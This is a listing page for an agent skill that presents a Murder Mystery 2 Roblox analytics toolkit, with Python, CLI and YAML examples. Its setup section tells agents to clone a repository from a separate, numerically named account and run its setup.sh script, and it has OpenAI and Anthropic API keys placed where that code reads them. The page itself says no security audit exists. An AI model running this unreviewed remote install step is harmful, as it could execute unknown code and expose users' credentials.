MCPInstall

mm2-roblox-analytics-toolkit

Murder Mystery 2 gameplay analytics, inventory tracking, and strategy optimization toolkit for Roblox

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Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/reason-machines/data-skills --skill mm2-roblox-analytics-toolkit
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads mm2-roblox-analytics-toolkit automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

MM2 Roblox Analytics Toolkit

Skill by ara.so — Data Skills collection.

This toolkit provides comprehensive analytics and inventory management for Roblox's Murder Mystery 2 game. It tracks knife skins, gamepasses, win/loss ratios, and provides AI-powered strategy insights through data visualization and pattern analysis.

Installation

Quick Setup (Automated)

git clone https://github.com/8015238355/mm2-analytics-dashboard-2026.git
cd mm2-analytics-dashboard-2026
chmod +x setup.sh
./setup.sh --install

Manual Installation

# Clone repository
git clone https://github.com/8015238355/mm2-analytics-dashboard-2026.git
cd mm2-analytics-dashboard-2026

# Install Node.js dependencies
npm install

# Install Python dependencies
python3 -m pip install -r requirements.txt

Environment Configuration

Create a .env file in the project root:

API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${ANTHROPIC_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
ROBLOX_USER_ID=${YOUR_ROBLOX_USER_ID}

Core Features

1. Inventory Management

Track and catalog your MM2 items including knife skins, gamepasses, and collectibles.

# Python API for inventory tracking
from mm2_toolkit import InventoryManager

# Initialize inventory manager
inventory = InventoryManager(user_id=os.environ['ROBLOX_USER_ID'])

# Scan and catalog items
inventory.scan_inventory()
knife_skins = inventory.get_items(category='knife_skins', rarity='legendary')

# Export inventory data
inventory.export(format='json', output='my_inventory.json')

# Get collection statistics
stats = inventory.get_statistics()
print(f"Total items: {stats['total_count']}")
print(f"Legendary items: {stats['legendary_count']}")
print(f"Collection completion: {stats['completion_percentage']}%")

2. Analytics Dashboard

Generate gameplay statistics and performance metrics.

from mm2_toolkit import AnalyticsDashboard

# Initialize analytics
dashboard = AnalyticsDashboard(profile='mystery_solver_01')

# Load gameplay data
dashboard.load_data(date_range='last_30_days')

# Generate reports
report = dashboard.generate_report(
    metrics=['win_rate', 'avg_survival_time', 'role_performance'],
    export_format='json'
)

# Visualize data
dashboard.create_visualization(
    chart_type='line',
    metric='win_rate_over_time',
    output='charts/performance.png'
)

3. Strategy Optimization

Analyze gameplay patterns and receive AI-powered recommendations.

from mm2_toolkit import StrategyOptimizer

# Initialize optimizer with AI backend
optimizer = StrategyOptimizer(
    openai_key=os.environ['API_OPENAI_KEY'],
    claude_key=os.environ['API_CLAUDE_KEY']
)

# Analyze strategy patterns
patterns = optimizer.analyze_patterns(
    role='sheriff',
    game_count=50
)

# Get AI recommendations
recommendations = optimizer.get_recommendations(
    current_strategy='aggressive_sheriff',
    win_rate_target=0.75
)

for rec in recommendations:
    print(f"Strategy: {rec['name']}")
    print(f"Description: {rec['description']}")
    print(f"Expected improvement: {rec['improvement_percentage']}%")

CLI Commands

Basic Usage

# Run analytics on profile
python3 main.py --mode analytics --profile mystery_solver_01

# Export inventory
python3 main.py --mode inventory --export inventory.json --format json

# Generate strategy report
python3 main.py --mode strategy --role sheriff --output strategy_report.pdf

# Live tracking mode
python3 main.py --mode live --interval 60 --log-level INFO

Advanced Options

# Comprehensive analysis with verbose output
python3 main.py \
    --mode analytics \
    --profile mystery_solver_01 \
    --export statistics_2026.json \
    --format json \
    --date-range "2026-01-01:2026-05-16" \
    --verbose \
    --log-level DEBUG

# Batch process multiple profiles
python3 main.py \
    --mode batch \
    --profiles profile1,profile2,profile3 \
    --export-dir ./exports \
    --parallel

# Strategy simulation
python3 main.py \
    --mode simulate \
    --strategy aggressive_sheriff \
    --iterations 1000 \
    --output simulation_results.csv

Configuration Patterns

Profile Configuration (YAML)

# config/profiles/player_profile.yaml
profile:
  username: "MysterySolver2026"
  roblox_user_id: "${ROBLOX_USER_ID}"
  preferred_role: "sheriff"
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: ["csv", "json"]
    enable_ai_insights: true
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
      risk_tolerance: 0.7
    - name: "passive_innocent"
      priority: "distraction_avoidance"
      risk_tolerance: 0.3

Data Export Configuration

# Configure export settings
from mm2_toolkit import ExportManager

exporter = ExportManager()

# Export inventory with custom formatting
exporter.export_inventory(
    format='json',
    include_metadata=True,
    compress=True,
    output='exports/inventory_backup.json.gz'
)

# Export analytics to multiple formats
exporter.export_analytics(
    formats=['csv', 'json', 'excel'],
    date_range='last_7_days',
    output_dir='exports/weekly_report'
)

# Schedule automated exports
exporter.schedule_export(
    frequency='daily',
    time='23:00',
    formats=['json'],
    output_dir='exports/daily_backups'
)

Working Examples

Complete Inventory Analysis

#!/usr/bin/env python3
import os
from mm2_toolkit import InventoryManager, AnalyticsDashboard
from datetime import datetime

def analyze_inventory():
    # Initialize managers
    inventory = InventoryManager(user_id=os.environ['ROBLOX_USER_ID'])
    dashboard = AnalyticsDashboard(profile='main_profile')
    
    # Scan current inventory
    print("Scanning inventory...")
    inventory.scan_inventory()
    
    # Get knife skin statistics
    knife_stats = inventory.get_category_stats('knife_skins')
    print(f"\nKnife Skins Summary:")
    print(f"Total: {knife_stats['total']}")
    print(f"Legendary: {knife_stats['legendary']}")
    print(f"Ancient: {knife_stats['ancient']}")
    
    # Calculate inventory value
    total_value = inventory.calculate_total_value()
    print(f"\nEstimated Inventory Value: {total_value} coins")
    
    # Identify missing items
    missing = inventory.get_missing_items(category='knife_skins')
    print(f"\nMissing Legendary Skins: {len(missing)}")
    for item in missing[:5]:
        print(f"  - {item['name']} (Drop rate: {item['drop_rate']}%)")
    
    # Export results
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    inventory.export(
        format='json',
        output=f'reports/inventory_{timestamp}.json'
    )
    print(f"\nReport saved to reports/inventory_{timestamp}.json")

if __name__ == "__main__":
    analyze_inventory()

Strategy Performance Tracking

#!/usr/bin/env python3
import os
from mm2_toolkit import StrategyOptimizer, AnalyticsDashboard

def track_strategy_performance():
    # Initialize components
    optimizer = StrategyOptimizer(
        openai_key=os.environ.get('API_OPENAI_KEY'),
        claude_key=os.environ.get('API_CLAUDE_KEY')
    )
    dashboard = AnalyticsDashboard(profile='competitive_player')
    
    # Load recent gameplay data
    dashboard.load_data(date_range='last_14_days')
    
    # Analyze each role
    roles = ['sheriff', 'murderer', 'innocent']
    results = {}
    
    for role in roles:
        performance = dashboard.get_role_performance(role)
        patterns = optimizer.analyze_patterns(role=role, game_count=100)
        
        results[role] = {
            'win_rate': performance['win_rate'],
            'avg_survival': performance['avg_survival_time'],
            'games_played': performance['games_played'],
            'top_strategy': patterns['most_successful_pattern'],
            'improvement_areas': patterns['improvement_suggestions']
        }
        
        print(f"\n{role.upper()} Performance:")
        print(f"  Win Rate: {performance['win_rate']:.1%}")
        print(f"  Avg Survival: {performance['avg_survival_time']:.1f}s")
        print(f"  Games: {performance['games_played']}")
    
    # Get AI recommendations
    recommendations = optimizer.get_recommendations(
        current_strategy='balanced',
        win_rate_target=0.70
    )
    
    print("\n=== AI Strategy Recommendations ===")
    for i, rec in enumerate(recommendations[:3], 1):
        print(f"\n{i}. {rec['name']}")
        print(f"   {rec['description']}")
        print(f"   Expected improvement: +{rec['improvement_percentage']}%")
    
    # Export comprehensive report
    dashboard.export_report(
        data=results,
        recommendations=recommendations,
        format='pdf',
        output='reports/strategy_analysis.pdf'
    )

if __name__ == "__main__":
    track_strategy_performance()

Live Data Collection

#!/usr/bin/env python3
import os
import time
from mm2_toolkit import LiveTracker, DataCollector

def live_tracking_session():
    # Initialize live tracker
    tracker = LiveTracker(
        user_id=os.environ['ROBLOX_USER_ID'],
        refresh_rate=30  # seconds
    )
    
    collector = DataCollector(output_dir='data/live_sessions')
    
    print("Starting live tracking session...")
    print("Press Ctrl+C to stop\n")
    
    try:
        tracker.start()
        
        while True:
            # Get current game state
            state = tracker.get_current_state()
            
            if state['in_game']:
                print(f"[{state['timestamp']}] Role: {state['role']}")
                print(f"  Status: {state['status']}")
                print(f"  Survival Time: {state['survival_time']}s")
                
                # Collect data point
                collector.add_data_point(state)
                
            else:
                print(f"[{state['timestamp']}] Waiting for game...")
            
            time.sleep(30)
            
    except KeyboardInterrupt:
        print("\n\nStopping tracker...")
        tracker.stop()
        
        # Save collected data
        session_file = collector.save_session()
        print(f"Session data saved to: {session_file}")
        
        # Generate session summary
        summary = collector.get_session_summary()
        print(f"\nSession Summary:")
        print(f"  Duration: {summary['duration']} minutes")
        print(f"  Games Played: {summary['games_played']}")
        print(f"  Win Rate: {summary['win_rate']:.1%}")

if __name__ == "__main__":
    live_tracking_session()

Troubleshooting

Common Issues

Issue: API rate limiting

# Implement rate limiting and retry logic
from mm2_toolkit import APIClient
import time

client = APIClient(
    rate_limit=10,  # requests per minute
    retry_attempts=3,
    retry_delay=5
)

try:
    data = client.fetch_inventory()
except APIClient.RateLimitError:
    print("Rate limit reached. Waiting 60 seconds...")
    time.sleep(60)
    data = client.fetch_inventory()

Issue: Missing environment variables

# Validate environment setup
import os
import sys

required_vars = ['ROBLOX_USER_ID', 'DATA_DIRECTORY']
missing = [var for var in required_vars if not os.environ.get(var)]

if missing:
    print(f"Error: Missing environment variables: {', '.join(missing)}")
    print("Please configure .env file with required variables")
    sys.exit(1)

Issue: Data sync conflicts

# Clear cache and resync
python3 main.py --clear-cache
python3 main.py --mode inventory --force-sync

Issue: Export format errors

# Validate export settings
from mm2_toolkit import ExportManager

exporter = ExportManager()

# Check supported formats
supported = exporter.get_supported_formats()
print(f"Supported formats: {', '.join(supported)}")

# Export with validation
try:
    exporter.export_inventory(format='json', validate=True)
except ValueError as e:
    print(f"Export error: {e}")

Best Practices

  1. Regular Backups: Schedule daily inventory exports
  2. API Key Security: Never commit API keys; use environment variables
  3. Data Validation: Validate imported data before analysis
  4. Rate Limiting: Respect API rate limits to avoid throttling
  5. Incremental Sync: Use incremental updates for large inventories
  6. Error Handling: Implement try-catch blocks for network operations

Additional Resources

FAQ

What does the mm2-roblox-analytics-toolkit skill do?

Murder Mystery 2 gameplay analytics, inventory tracking, and strategy optimization toolkit for Roblox

How do I install mm2-roblox-analytics-toolkit?

Run npx skills add https://github.com/reason-machines/data-skills --skill mm2-roblox-analytics-toolkit in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/mm2-roblox-analytics-toolkit/ (personal) or .claude/skills/mm2-roblox-analytics-toolkit/ (project).

Which AI agents can use mm2-roblox-analytics-toolkit?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is mm2-roblox-analytics-toolkit safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains mm2-roblox-analytics-toolkit?

It is published by reason-machines in reason-machines/data-skills. It has 2,358 recorded installs.

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